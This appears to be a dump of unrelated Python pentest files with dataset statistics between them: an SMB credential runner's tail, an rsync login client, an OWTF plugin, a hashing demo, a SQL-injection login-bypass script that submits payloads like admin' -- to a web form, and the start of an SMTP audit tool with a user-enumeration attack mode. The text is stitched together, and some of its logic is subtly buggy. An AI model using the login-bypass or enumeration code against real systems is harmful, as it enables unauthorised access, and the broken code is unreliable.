verbose = args.verbose # Verbosity level password = args.password # Password or hash to test against default is admin username = args.username # Username to test against default is Administrator domain = args.domain # Domain default is WORKGROUP ports = args.ports # Port to test against Default is 445 targets = args.targets # Hosts to test against targets_file = args.targets_file # Hosts to test against loaded by a file home_dir = args.home_dir # Location to store results filename = args.filename # A file that will contain the final results gateways = {} network_ifaces={} if not filename: if os.name != "nt": filename = home_dir + "/msfrpc_smb_output" else: filename = home_dir + "\\msfrpc_smb_output" else: if filename: if "\\" or "/" in filename: if verbose > 1: print("[*] Using filename: %s") % (filename) else: if os.name != "nt": filename = home_dir + "/" + filename else: filename = home_dir + "\\" + filename if verbose > 1: print("[*] Using filename: %s") % (filename) gateways = get_gateways() network_ifaces = get_networks(gateways) hosts_file, hostlist = target_identifier(verbose, home_dir, username, password, targets, ports, network_ifaces, targets_file) run_commands(verbose, hostlist, username, password, domain, ports, filename) if __name__ == '__main__': main()
43.116667
172
0.626806
PenetrationTestingScripts
import base64 import re try: import hashlib hash_md4 = hashlib.new("md4") hash_md5 = hashlib.md5() except ImportError: # for Python << 2.5 import md4 import md5 hash_md4 = md4.new() hash_md5 = md5.new() # Import SOCKS module if it exists, else standard socket module socket try: import SOCKS; socket = SOCKS; del SOCKS # import SOCKS as socket from socket import getfqdn; socket.getfqdn = getfqdn; del getfqdn except ImportError: import socket from socket import _GLOBAL_DEFAULT_TIMEOUT __all__ = ["rsync"] # The standard rsync server control port RSYNC_PORT = 873 # The sizehint parameter passed to readline() calls MAXLINE = 8192 protocol_version = 0 # Exception raised when an error or invalid response is received class Error(Exception): pass # All exceptions (hopefully) that may be raised here and that aren't # (always) programming errors on our side all_errors = (Error, IOError, EOFError) # Line terminators for rsync CRLF = '\r\n' LF = '\n' # The class itself class rsync: '''An rsync client class. To create a connection, call the class using these arguments: host, module, user, passwd All arguments are strings, and have default value ''. Then use self.connect() with optional host and port argument. ''' debugging = 0 host = '' port = RSYNC_PORT maxline = MAXLINE sock = None file = None server_protocol_version = None # Initialization method (called by class instantiation). # Initialize host to localhost, port to standard rsync port # Optional arguments are host (for connect()), # and module, user, passwd (for login()) def __init__(self, host='', module='', user='', passwd='',port=873, timeout=_GLOBAL_DEFAULT_TIMEOUT): self.timeout = timeout if host: self.connect(host) if module and user and passwd: self.login(module, user, passwd) def connect(self, host='', port=0, timeout=-999): '''Connect to host. Arguments are: - host: hostname to connect to (string, default previous host) - port: port to connect to (integer, default previous port) ''' if host != '': self.host = host if port > 0: self.port = port if timeout != -999: self.timeout = timeout self.sock = socket.create_connection((self.host, self.port), self.timeout) self.af = self.sock.family self.file = self.sock.makefile('rb') self.server_protocol_version = self.getresp() self.protocol_version = self.server_protocol_version[-2:] return self.server_protocol_version def set_debuglevel(self, level): '''Set the debugging level. The required argument level means: 0: no debugging output (default) 1: print commands and responses but not body text etc. ''' self.debugging = level debug = set_debuglevel # Internal: send one line to the server, appending LF def putline(self, line): line = line + LF if self.debugging > 1: print '*put*', line self.sock.sendall(line) # Internal: return one line from the server, stripping LF. # Raise EOFError if the connection is closed def getline(self): line = self.file.readline(self.maxline + 1) if len(line) > self.maxline: raise Error("got more than %d bytes" % self.maxline) if self.debugging > 1: print '*get*', line if not line: raise EOFError if line[-2:] == CRLF: line = line[:-2] elif line[-1:] in CRLF: line = line[:-1] return line # Internal: get a response from the server, which may possibly # consist of multiple lines. Return a single string with no # trailing CRLF. If the response consists of multiple lines, # these are separated by '\n' characters in the string def getmultiline(self): line = self.getline() return line # Internal: get a response from the server. # Raise various errors if the response indicates an error def getresp(self): resp = self.getmultiline() if self.debugging: print '*resp*', resp if resp.find('ERROR') != -1: raise Error, resp else: return resp def sendcmd(self, cmd): '''Send a command and return the response.''' self.putline(cmd) return self.getresp() def login(self, module='', user = '', passwd = ''): if not user: user = 'www' if not passwd: passwd = 'www' if not module: module = 'www' self.putline(self.server_protocol_version) # self.putline('@RSYNCD: 28.0') # self.protocol_version = 28 resp = self.sendcmd(module) challenge = resp[resp.find('AUTHREQD ')+9:] if self.protocol_version >= 30: md5=hashlib.md5() md5.update(passwd) md5.update(challenge) hash = base64.b64encode(md5.digest()) else: md4=hashlib.new('md4') tmp = '\0\0\0\0' + passwd + challenge md4.update(tmp) hash = base64.b64encode(md4.digest()) response, number = re.subn(r'=+$','',hash) print response resp = self.sendcmd(user + ' ' + response) if resp.find('OK') == -1: raise Error, resp return resp def getModules(self): '''Get modules on the server''' print self.server_protocol_version self.putline(self.server_protocol_version) resp = self.sendcmd('') print resp return resp def close(self): '''Close the connection without assuming anything about it.''' self.putline('') if self.file is not None: self.file.close() if self.sock is not None: self.sock.close() self.file = self.sock = None
29.625641
82
0.603584
owtf
""" Plugin for probing HTTP Rpc """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " HTTP Rpc Probing " def run(PluginInfo): resource = get_resources("HttpRpcProbeMethods") # No previous output return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
24.428571
88
0.740845
cybersecurity-penetration-testing
#!/usr/bin/python import uuid import hashlib def hash(password): salt = uuid.uuid4().hex return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt def check(hashed, p2): password, salt = hashed.split(':') return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest() password = raw_input('Please enter a password: ') hashed = hash(password) print('The string to store in the db is: ' + hashed) re = raw_input('Please re-enter your password: ') if check(hashed, re): print('Password Match') else: print('Password Mismatch')
22.92
85
0.666667
cybersecurity-penetration-testing
import mechanize import re br = mechanize.Browser() br.set_handle_robots( False ) url = raw_input("Enter URL ") br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.open(url) for form in br.forms(): print form form = raw_input("Enter the form name " ) br.select_form(name =form) user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ] user1 = raw_input("Enter the Username ") pass1 = raw_input("Enter the Password ") flag =0 p =0 while flag ==0: br.select_form(name =form) br.form[user1] = user_exp[p] br.form[pass1] = "aaaaaaaa" br.submit() data = "" for link in br.links(): data=data+str(link) list = ['logout','logoff', 'signout','signoff'] data1 = data.lower() for l in list: for match in re.findall(l,data1): flag = 1 if flag ==1: print "\t Success in ",p+1," attempts" print "Successfull hit --> ",user_exp[p] elif(p+1 == len(user_exp)): print "All exploits over " flag =1 else : p = p+1
18.923077
64
0.641546
cybersecurity-penetration-testing
#!/usr/bin/python3 # # SMTP Server configuration black-box testing/audit tool, capable of auditing # SPF/Accepted Domains, DKIM, DMARC, SSL/TLS, SMTP services, banner, Authentication (AUTH, X-EXPS) # user enumerations (VRFY, EXPN, RCPT TO), and others. # # Currently supported tests: # 01) 'spf' - SPF DNS record test # - 'spf-version' - Checks whether SPF record version is valid # - 'all-mechanism-usage' - Checks whether 'all' mechanism is used correctly # - 'allowed-hosts-list' - Checks whether there are not too many allowed hosts # 02) 'dkim' - DKIM DNS record test # - 'public-key-length' - Tests whether DKIM Public Key is at least 1024 bits long # 03) 'dmarc' - DMARC DNS record test # - 'dmarc-version' - Checks whether DMARC record version is valid # - 'policy-rejects-by-default' - Checks whether DMARC uses reject policy # - 'number-of-messages-filtered' - Checks whether there are at least 20% messages filtered. # 04) 'banner-contents' - SMTP Banner sensitive informations leak test # - 'not-contains-version' - Contains version information # - 'not-contains-prohibited-words'- Contains software/OS/or other prohibited name # - 'is-not-long-or-complex' - Seems to be long and/or complex # - 'contains-hostname' - Checks whether SMTP banner contains valid hostname # 05) 'open-relay' - Open-Relay misconfiguration test # - 'internal-internal' # - 'internal-external' # - 'external-internal' # - 'external-external' # - And about 19 other variants # - (the above is very effective against Postfix) # 06) 'vrfy' - VRFY user enumeration vulnerability test # 07) 'expn' - EXPN user enumeration vulnerability test # 08) 'rcpt-to' - RCPT TO user enumeration vulnerability test # 09) 'secure-ciphers' - SSL/TLS ciphers security weak configuration # 10) 'starttls-offering' - STARTTLS offering (opportunistic) weak configuration # 11) 'auth-over-ssl' - STARTTLS before AUTH/X-EXPS enforcement weak configuration # 12) 'auth-methods-offered' - Test against unsecure AUTH/X-EXPS PLAIN/LOGIN methods. # 13) 'tls-key-len' - Checks private key length of negotiated or offered SSL/TLS cipher suites. # 14) 'spf-validation' - Checks whether SMTP Server has been configured to validate sender's SPF # or if it's Microsoft Exchange - that is uses Accepted Domains # # Tests obtain results in tri-state boolean, acordingly: # - 'secure' - The test has succeeded and proved GOOD and SECURE configuration. # - 'unsecure'- The test has succeeded and proved BAD and UNSECURE configuration. # - 'unknown' - The test has failed and did not prove anything. # # ATTACKS offered (--attack option): # Currently the tool offers functionality to lift up user emails enumeration, by the use of # RCPT TO, MAIL FROM and VRFY methods. # # Requirements: # - Python 3.5+ # - dnspython # # TODO: # - refactor all the code cause it's a mess at the moment # - modularize the code # - add support for Outlook's OWA, AutoDiscover, MAPI-over-HTTP, Exchange ActiveSync (EAC) # - add support for NTLM/Kerberos (GSSAPI) authentication when used from Domain-joined Windows box # - BUG: if smtpAudit.py connects with SMTP over non-encrypted channel (ssl: False) it should be alerted as 'unsecure', it is not atm # - test it more thoroughly against various SMTP setups and configurations # - fix the issue with hanged jobs doing DKIM lookup when they reach 99% # - introduce general program timeout # - improve output informations/messages, explanations # - implement options parsing, files passing, verbosity levels, etc # - add more options specifying various parameters, thresholds # - research other potential tests to implement # - add test for 'reject_multi_recipient_bounce' a.k.a. multi RCPT TO commands # - add more options and improve code for penetration-testing oriented usage (active attacks) # # Tested against: # - postfix 3.x # - Microsoft Exchange Server 2013 # # Author: # Mariusz Banach / mgeeky, '17-19, # <[email protected]> # import re import sys import ssl import time import json import math import base64 import string import socket import pprint import random import inspect import smtplib import argparse import datetime import threading import multiprocessing from collections import Counter try: from dns import name, resolver, exception except ImportError: print('[!] Module "dnspython" not installed. Try: python3 -m pip install dnspython') sys.exit(-1) if float(sys.version[:3]) < 3.5: print('[!] This program must be run with Python 3.5+') sys.exit(-1) # # =================================================== # GLOBAL PROGRAM CONFIGURATION # VERSION = '0.7.7' config = { # Enable script's output other than tests results. 'verbose' : False, # Turn on severe debugging facilities 'debug' : False, 'smtp_debug': False, # Connection timeout threshold 'timeout' : 5.0, # Delay between consequent requests and connections. 'delay' : 2.0, # During the work of the program - the SMTP server will receive many of our incoming # connections. In such situation, the server may block our new connections due to # exceeding conns limit/rate (like it does Postfix/anvil=count). Therefore it is crucial # to set up long enough interconnection-delay that will take of as soon as server # responds with: "421 Too many connections". For most situations - 60 seconds will do fine. 'too_many_connections_delay' : 60, # Perform full-blown, long-time taking DNS records enumeration (for SPF, DKIM, DMARC) # Accepted values: # - 'always' # - 'on-ip' - do full enumeration only when given with server's IP address # - 'never' 'dns_full' : 'on-ip', # Specifies whether to do full, long-time taking DKIM selectors review. 'dkim_full_enumeration' : True, # External domain used in Open-Relay and other tests 'smtp_external_domain': 'gmail.com', # Pretend to be the following client host: 'pretend_client_hostname': 'smtp.gmail.com', # Specifies whether to show results JSON unfolded (nested) or only when needed 'always_unfolded_results': False, # Num of enumeration tries until test is considered completed (whether it succeeds or not). # Value -1 denotes to go with full spectrum of the test. 'max_enumerations' : -1, # Use threading - may cause some issues with responsiveness, or cause program to hang. 'threads' : True, # Uncommon words to have in DKIM selectors permutations list 'uncommon_words' : (), # DO NOT CHANGE THIS ONE. 'tests_to_carry' : 'all', 'tests_to_skip' : '', # Maximum number of parallel process in DKIM enumeration test 'parallel_processes' : 10, # When DNS resolver becomes busy handling thousands of DKIM queries, # we can delay asking for more selectors iteratively. 'delay_dkim_queries' : True, # Output format. Possible values: json, text 'format' : 'text', # Colorize output 'colors': True, # Attack mode 'attack': False, # Minimal key length to consider it secure 'key_len' : 2048, # Maximum hosts in SPF considered secure: 'spf_maximum_hosts' : 32, } # # =================================================== # PROGRAM IMPLEMENTATION # class colors: '''Colors class: reset all colors with colors.reset two subclasses fg for foreground and bg for background. use as colors.subclass.colorname. i.e. colors.fg.red or colors.bg.green also, the generic bold, disable, underline, reverse, strikethrough, and invisible work with the main class i.e. colors.bold ''' reset = '\033[0m' bold = '\033[01m' disable = '\033[02m' underline = '\033[04m' reverse = '\033[07m' strikethrough = '\033[09m' invisible = '\033[08m' class fg: black = '\033[30m' red = '\033[31m' green = '\033[32m' orange = '\033[33m' blue = '\033[34m' purple = '\033[35m' cyan = '\033[36m' lightgrey = '\033[37m' darkgrey = '\033[90m' lightred = '\033[91m' lightgreen = '\033[92m' yellow = '\033[93m' lightblue = '\033[94m' pink = '\033[95m' lightcyan = '\033[96m' class bg: black = '\033[40m' red = '\033[41m' green = '\033[42m' orange = '\033[43m' blue = '\033[44m' purple = '\033[45m' cyan = '\033[46m' lightgrey = '\033[47m' # # Output routines. # def _out(x, toOutLine = False, col = colors.reset): if config['colors']: text = '{}{}{}\n'.format( col, x, colors.reset ) else: text = x + '\n' if config['debug'] or config['verbose']: if config['debug']: caller = (inspect.getouterframes(inspect.currentframe(), 2))[2][3] if x.startswith('['): x = x[:4] + ' ' + caller + '(): ' + x[4:] sys.stderr.write(text) elif config['format'] == 'text' and \ (toOutLine or 'SECURE: ' in x or 'UNKNOWN: ' in x): if config['attack']: sys.stderr.write(text) else: sys.stdout.write(text) def dbg(x): if config['debug']: caller2 = (inspect.getouterframes(inspect.currentframe(), 2))[1][3] caller1 = (inspect.getouterframes(inspect.currentframe(), 2))[2][3] caller = '{}() -> {}'.format(caller1, caller2) text = x if config['colors']: text = '{}{}{}'.format(colors.fg.lightblue, x, colors.reset) sys.stderr.write('[dbg] ' + caller + '(): ' + text + '\n') def out(x, toOutLine = False): _out('[.] ' + x, toOutLine) def info(x, toOutLine = False):_out('[?] ' + x, toOutLine, colors.fg.yellow) def err(x, toOutLine = False): _out('[!] ' + x, toOutLine, colors.bg.red + colors.fg.black) def fail(x, toOutLine = False):_out('[-] ' + x, toOutLine, colors.fg.red + colors.bold) def ok(x, toOutLine = False): _out('[+] ' + x, toOutLine, colors.fg.green + colors.bold) class BannerParser: softwareWeight = 3 osWeight = 2 # MTAs prohibitedSoftwareWords = ( 'Exim', 'Postfix', 'Maildrop', 'Cyrus', 'Sendmail', 'Exchange', 'Lotus Domino', ) prohibitedOSWords = ( 'Windows', 'Linux', 'Debian', 'Fedora', 'Unix', '/GNU)', 'SuSE', 'Mandriva', 'Centos', 'Gentoo', 'Red Hat', 'Microsoft(R) Windows(R)', ) # Certain words will have greater weight since they are more important to hide in banner. # Every word must be in it's own list. prohibitedWords = prohibitedSoftwareWords + prohibitedOSWords + ( 'Microsoft ESMTP', 'MAIL service ready at ', 'Version:', 'qmail', 'Ver.', '(v.', 'build:', ) wellKnownDefaultBanners = { 'Microsoft Exchange' : 'Microsoft ESMTP MAIL service ready at ', 'IBM Lotus Domino' : 'ESMTP Service (Lotus Domino ', } # Statistical banner's length characteristics lengthCharacteristics = { 'mean': 66.08, 'median': 58.5, 'std.dev': 27.27 } # Reduced entropy statistical characteristics after removing potential timestamp # (as being added by e.g. Exim and Exchange) reducedEntropyCharacteristics = { 'mean': 3.171583046, 'median': 3.203097614, 'std.dev': 0.191227689 } weights = { 'prohibitedWord': 1, 'versionFound': 2, 'versionNearProhibitedWord': 3, } # Max penalty score to consider banner unsecure. maxPenaltyScore = 4.0 localHostnameRegex = r'(?:[0-9]{3}\s)?([\w\-\.]+).*' def __init__(self): self.results = { 'not-contains-version' : True, 'not-contains-prohibited-words' : True, 'is-not-long-or-complex' : True, 'contains-hostname' : False, } @staticmethod def entropy(data, unit='natural'): ''' Source: https://stackoverflow.com/a/37890790 ''' base = { 'shannon' : 2., 'natural' : math.exp(1), 'hartley' : 10. } if len(data) <= 1: return 0 counts = Counter() for d in data: counts[d] += 1 probs = [float(c) / len(data) for c in counts.values()] probs = [p for p in probs if p > 0.] ent = 0 for p in probs: if p > 0.: ent -= p * math.log(p, base[unit]) return ent @staticmethod def removeTimestamp(banner): rex = r'\w{3}, \d{1,2} \w{3} \d{4} \d{2}:\d{2}:\d{2}(?: .\d{4})?' return re.sub(rex, '', banner) def parseBanner(self, banner): if not banner: if config['always_unfolded_results']: return dict.fromkeys(self.results, None) else: return None penalty = 0 versionFound = '' for service, wellKnownBanner in BannerParser.wellKnownDefaultBanners.items(): if wellKnownBanner.lower() in banner.lower(): fail('UNSECURE: Default banner found for {}: "{}"'.format( service, banner )) return False penalty += self.analyseBannerEntropy(banner) penalty += self.checkForProhibitedWordsAndVersion(banner) penalty += self.checkHostnameInBanner(banner) ret = (penalty < BannerParser.maxPenaltyScore) if not ret: fail('UNSECURE: Banner considered revealing sensitive informations (penalty: {}/{})!'.format( penalty, BannerParser.maxPenaltyScore )) _out('\tBanner: ("{}")'.format(banner), toOutLine = True) return self.results else: ok('SECURE: Banner was not found leaking anything. (penalty: {}/{})'.format( penalty, BannerParser.maxPenaltyScore )) _out('\tBanner: ("{}")'.format(banner), toOutLine = True) if all(self.results.values()) and not config['always_unfolded_results']: return True else: return self.results def analyseBannerEntropy(self, banner): penalty = 0 reducedBanner = BannerParser.removeTimestamp(banner) bannerEntropy = BannerParser.entropy(reducedBanner) dbg('Analysing banner: "{}"'.format(banner)) dbg('Length: {}, reduced banner Entropy: {:.6f}'.format(len(banner), bannerEntropy)) if len(reducedBanner) > (BannerParser.lengthCharacteristics['mean'] \ + 1 * BannerParser.lengthCharacteristics['std.dev']): info('Warning: Banner seems to be very long. Consider shortening it.', toOutLine = True) self.results['is-not-long-or-complex'] = False penalty += 1 if bannerEntropy > (BannerParser.reducedEntropyCharacteristics['mean'] \ + 1 * BannerParser.reducedEntropyCharacteristics['std.dev']): info('Warning: Banner seems to be complex in terms of entropy.' ' Consider generalising it.', toOutLine = True) self.results['is-not-long-or-complex'] = False penalty += 1 return penalty def checkForProhibitedWordsAndVersion(self, banner): penalty = 0 versionFound = '' regexVersionNumber = r'(?:(\d+)\.)?(?:(\d+)\.)?(?:(\d+)\.\d+)' match = re.search(regexVersionNumber, banner) if match: versionFound = match.group(0) fail('Sensitive software version number found in banner: "{}"'.format( versionFound ), toOutLine = True) self.results['not-contains-version'] = False penalty += BannerParser.weights['versionFound'] alreadyFound = set() for word in BannerParser.prohibitedWords: if word.lower() in banner.lower(): if not word.lower() in alreadyFound: info('Prohibited word found in banner: "{}"'.format( word ), toOutLine = True) self.results['not-contains-prohibited-words'] = True alreadyFound.add(word.lower()) mult = 1 if word.lower() in BannerParser.prohibitedSoftwareWords: mult = BannerParser.softwareWeight elif word.lower() in BannerParser.prohibitedOSWords: mult = BannerParser.prohibitedOSWords penalty += (float(mult) * BannerParser.weights['prohibitedWord']) # Does the word immediately follow or precede version number? if versionFound: surrounds = ( '{}{}'.format(word, versionFound), '{}{}'.format(versionFound, word), '{} {}'.format(word, versionFound), '{} {}'.format(versionFound, word), '{}/{}'.format(word, versionFound), '{}/{}'.format(versionFound, word), ) for surr in surrounds: if surr in banner: info('Word was found lying around version: "{}". '\ 'Consider removing it.'.format( surr ), toOutLine = True) penalty += BannerParser.weights['versionNearProhibitedWord'] break return penalty def checkHostnameInBanner(self, banner): penalty = 0 matched = re.search(BannerParser.localHostnameRegex, banner) if matched: localHostname = matched.group(1) self.results['contains-hostname'] = True info('Extracted hostname from banner: "{}"'.format(localHostname)) else: fail('SMTP Banner does not contain server\'s hostname. This may cause SPAM reports.', toOutLine = True) penalty = 1 return penalty class DmarcParser: def __init__(self): self.results = { 'dmarc-version' : False, 'policy-rejects-by-default': False, 'number-of-messages-filtered': True, } def processDmarc(self, record): if not record: if config['always_unfolded_results']: return dict.fromkeys(self.results, None) else: return None for keyValue in record.split(' '): if not keyValue: break k, v = keyValue.split('=') k = k.strip() v = v.strip() if v.endswith(';'): v = v[:-1] if k == 'v': self.results['dmarc-version'] = v.lower() == 'dmarc1' if not self.results['dmarc-version']: fail('UNSECURE: Unknown version of DMARC stated: {}'.format(v)) elif k == 'p': if v.lower() not in ('none', 'reject', 'quarantine'): fail('UNSECURE: Unknown policy stated: {}'.format(v)) self.results['policy-rejects-by-default'] = False else: self.results['policy-rejects-by-default'] = v.lower() == 'reject' if not self.results['policy-rejects-by-default']: fail('UNSECURE: DMARC policy does not reject unverified messages ({}).'.format( v )) elif k == 'pct': try: perc = int(v) self.results['number-of-messages-filtered'] = perc >= 20 if self.results['number-of-messages-filtered']: info('Percentage of filtered messages is satisfiable ({})'.format( perc )) else: fail('UNSECURE: Unsatisfiable percentage of messages filtered: {}!'.format( perc )) except ValueError: fail('Defined "pct" is not a valid percentage!') self.results['number-of-messages-filtered'] = False if not config['always_unfolded_results'] and all(self.results.values()): return True else: return self.results class DkimParser: minimumDkimKeyLength = 1024 def __init__(self): self.results = { 'public-key-length': True, } def process(self, record): self.testKeyLength(record) if not config['always_unfolded_results'] and all(self.results.values()): return True else: return self.results def testKeyLength(self, txt): tags = txt.split(';') dkim = {} for t in tags: k, v = t.strip().split('=') dkim[k] = v if 'p' not in dkim.keys(): return False pubkey = base64.b64decode(dkim['p']) keyLen = (len(pubkey) - 38) * 8 # 38 bytes is for key's metadata if keyLen < 0: fail('Incorrect Public Key in DKIM!') keyLen = 0 dbg('DKIM: version = {}, algorithm = {}, key length = {}'.format( dkim['v'], dkim['k'], keyLen )) if keyLen < DkimParser.minimumDkimKeyLength: fail('UNSECURE: DKIM Public Key length is insufficient: {}. ' \ 'Recommended at least {}'.format( keyLen, DkimParser.minimumDkimKeyLength )) self.results['public-key-length'] = False else: ok('SECURE: DKIM Public key is of sufficient length: {}'.format(keyLen)) self.results['public-key-length'] = True return self.results['public-key-length'] class SpfParser: #maxAllowedNetworkMask = 28 maxNumberOfDomainsAllowed = 3 allowedHostsNumber = 0 allowSpecifiers = 0 mechanisms = ('all', 'ip4', 'ip6', 'a', 'mx', 'ptr', 'exists', 'include') qualifiers = ('+', '-', '~', '?') def __init__(self): self.results = { 'spf-version': True, 'all-mechanism-usage': True, 'allowed-hosts-list': True, } self.addressBasedMechanism = 0 def process(self, record): if not record: if config['always_unfolded_results']: return dict.fromkeys(self.results, None) else: return None record = record.lower() tokens = record.split(' ') dbg('Processing SPF record: "{}"'.format(record)) for token in tokens: qualifier = '' if not token: continue dbg('SPF token: {}'.format(token)) if token.startswith('v=spf'): self.results['spf-version'] = self.processVersion(token) continue if token[0] not in string.ascii_letters and token[0] not in SpfParser.qualifiers: fail('SPF record contains unknown qualifier: "{}". Ignoring it...'.format( token[0] )) qualifier = token[0] token = token[1:] else: qualifier = '+' if 'all' in token: self.results['all-mechanism-correctly-used'] = \ self.processAllMechanism(token, record, qualifier) continue if len(list(filter(lambda x: token.startswith(x), SpfParser.mechanisms))) >= 1: self.processMechanism(record, token, qualifier) if not self.results['allowed-hosts-list']: #maxAllowed = 2 ** (32 - SpfParser.maxAllowedNetworkMask) maxAllowed = config['spf_maximum_hosts'] fail('UNSECURE: SPF record allows more than {} max allowed hosts: {} in total.'.format( maxAllowed, self.allowedHostsNumber )) _out('\tRecord: ("{}")'.format(record)) if not self.results['allowed-hosts-list']: fail('There are too many allowed domains/CIDR ranges specified in SPF record: {}.'.format( self.allowSpecifiers )) if not config['always_unfolded_results'] and all(self.results.values()): dbg('All tests passed.') return True else: if not all(self.results.values()): dbg('Not all tests passed.: {}'.format(self.results)) else: dbg('All tests passed.') return self.results def areThereAnyOtherMechanismsThan(self, mechanism, record): tokens = record.split(' ') otherMechanisms = 0 for token in tokens: if not token: continue if token.startswith('v='): continue if token[0] in SpfParser.qualifiers: token = token[1:] if token == mechanism: continue if ':' in token: for s in token.split(':'): if s in SpfParser.mechanisms: otherMechanisms += 1 break if '/' in token: for s in token.split('/'): if s in SpfParser.mechanisms: otherMechanisms += 1 break if token in SpfParser.mechanisms: otherMechanisms += 1 dbg('Found {} other mechanisms than "{}"'.format(otherMechanisms, mechanism)) return (otherMechanisms > 0) def processVersion(self, token): v, ver = token.split('=') validVersions = ('1') for version in validVersions: if 'spf{}'.format(version) == ver: dbg('SPF version was found valid.') return True fail('SPF version is invalid.') return False def processAllMechanism(self, token, record, qualifier): if not record.endswith(token): fail('SPF Record wrongly stated - "{}" mechanism must be placed at the end!'.format( token )) return False if token == 'all' and qualifier == '+': fail('UNSECURE: SPF too permissive: "The domain owner thinks that SPF is useless and/or doesn\'t care.": "{}"'.format(record)) return False if not self.areThereAnyOtherMechanismsThan('all', record): fail('SPF "all" mechanism is too restrictive: "The domain sends no mail at all.": "{}"'.format(record), toOutLine = True) return False return True def getNetworkSize(self, net): dbg('Getting network size out of: {}'.format(net)) m = re.match(r'[\w\.-:]+\/(\d{1,2})', net) if m: mask = int(m.group(1)) return 2 ** (32 - mask) # Assuming any other value is a one host. return 1 def processMechanism(self, record, token, qualifier): key, value = None, None addressBasedMechanisms = ('ip4', 'ip6', 'a', 'mx') numOfAddrBasedMechanisms = len(list(filter(lambda x: token.startswith(x), addressBasedMechanisms))) # Processing address-based mechanisms. if numOfAddrBasedMechanisms >= 1: if self.addressBasedMechanism >= SpfParser.maxNumberOfDomainsAllowed: self.results['allowed-hosts-list'] = False self.allowSpecifiers += 1 else: if qualifier == '+': self.addressBasedMechanism += 1 self.checkTooManyAllowedHosts(token, record, qualifier) else: dbg('Mechanism: "{}" not being passed.'.format(token)) def checkTooManyAllowedHosts(self, token, record, qualifier): if self.results['allowed-hosts-list'] != True: return tok, val = None, None if ':' in token: tok, val = token.split(':') elif '/' in token and not ':' in token: tok, val = token.split('/') val = '0/{}'.format(val) elif token in SpfParser.mechanisms: tok = token val = '0/32' else: err('Invalid address-based mechanism: {}!'.format(token)) return dbg('Processing SPF mechanism: "{}" with value: "{}"'.format( tok, val )) size = self.getNetworkSize(val) #maxAllowed = 2 ** (32 - SpfParser.maxAllowedNetworkMask) maxAllowed = config['spf_maximum_hosts'] self.allowedHostsNumber += size if size > maxAllowed: self.results['minimum-allowed-hosts-list'] = False fail('UNSECURE: Too many hosts allowed in directive: {} - total: {}'.format( token, size )) class SmtpTester: testsConducted = { 'spf' : 'SPF DNS record test', 'dkim' : 'DKIM DNS record test', 'dmarc' : 'DMARC DNS record test', 'banner-contents': 'SMTP Banner sensitive informations leak test', 'starttls-offering': 'STARTTLS offering (opportunistic) weak configuration', 'secure-ciphers': 'SSL/TLS ciphers security weak configuration', 'tls-key-len': 'Checks private key length of negotiated or offered SSL/TLS cipher suites.', 'auth-methods-offered': 'Test against unsecure AUTH/X-EXPS PLAIN/LOGIN methods.', 'auth-over-ssl': 'STARTTLS before AUTH/X-EXPS enforcement weak configuration', 'vrfy': 'VRFY user enumaration vulnerability test', 'expn': 'EXPN user enumaration vulnerability test', 'rcpt-to': 'RCPT TO user enumaration vulnerability test', 'open-relay': 'Open-Relay misconfiguration test', 'spf-validation': 'Checks whether SMTP Server has been configured to validate sender\'s SPF or Accepted Domains in case of MS Exchange', } connectionLessTests = ( 'spf', 'dkim', 'dmarc' ) # 25 - plain text SMTP # 465 - SMTP over SSL # 587 - SMTP-AUTH / Submission commonSmtpPorts = (25, 465, 587, ) # Common AUTH X methods with sample Base64 authentication data. commonSmtpAuthMethods = { 'PLAIN' : base64.b64encode('\0user\0password'.encode()), 'LOGIN' : ( (base64.b64encode('user'.encode()), base64.b64encode('password'.encode())), ('[email protected]', base64.b64encode('password'.encode())) ), 'NTLM' : ( 'TlRMTVNTUAABAAAABzIAAAYABgArAAAACwALACAAAABXT1JLU1RBVElPTkRPTUFJTg==', 'TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==', ), 'MD5' : '', 'DIGEST-MD5' : '', 'CRAM-MD5' : '', } smtpAuthServices = ('AUTH', 'X-EXPS') authMethodsNotNeedingStarttls = ('NTLM', 'GSSAPI') # Pretend you are the following host: pretendLocalHostname = config['pretend_client_hostname'] maxStarttlsRetries = 5 # Source: SSLabs research: # https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices secureCipherSuitesList = ( 'ECDHE-ECDSA-AES128-GCM-SHA256', 'ECDHE-ECDSA-AES256-GCM-SHA384', 'ECDHE-ECDSA-AES128-SHA', 'ECDHE-ECDSA-AES256-SHA', 'ECDHE-ECDSA-AES128-SHA256', 'ECDHE-ECDSA-AES256-SHA384', 'ECDHE-RSA-AES128-GCM-SHA256', 'ECDHE-RSA-AES256-GCM-SHA384', 'ECDHE-RSA-AES128-SHA', 'ECDHE-RSA-AES256-SHA', 'ECDHE-RSA-AES128-SHA256', 'ECDHE-RSA-AES256-SHA384', 'DHE-RSA-AES128-GCM-SHA256', 'DHE-RSA-AES256-GCM-SHA384', 'DHE-RSA-AES128-SHA', 'DHE-RSA-AES256-SHA', 'DHE-RSA-AES128-SHA256', 'DHE-RSA-AES256-SHA256', 'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256', 'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384', 'TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256', 'TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384', 'TLS_DHE_RSA_WITH_AES_128_GCM_SHA256', 'TLS_DHE_RSA_WITH_AES_256_GCM_SHA384', 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA', 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA', 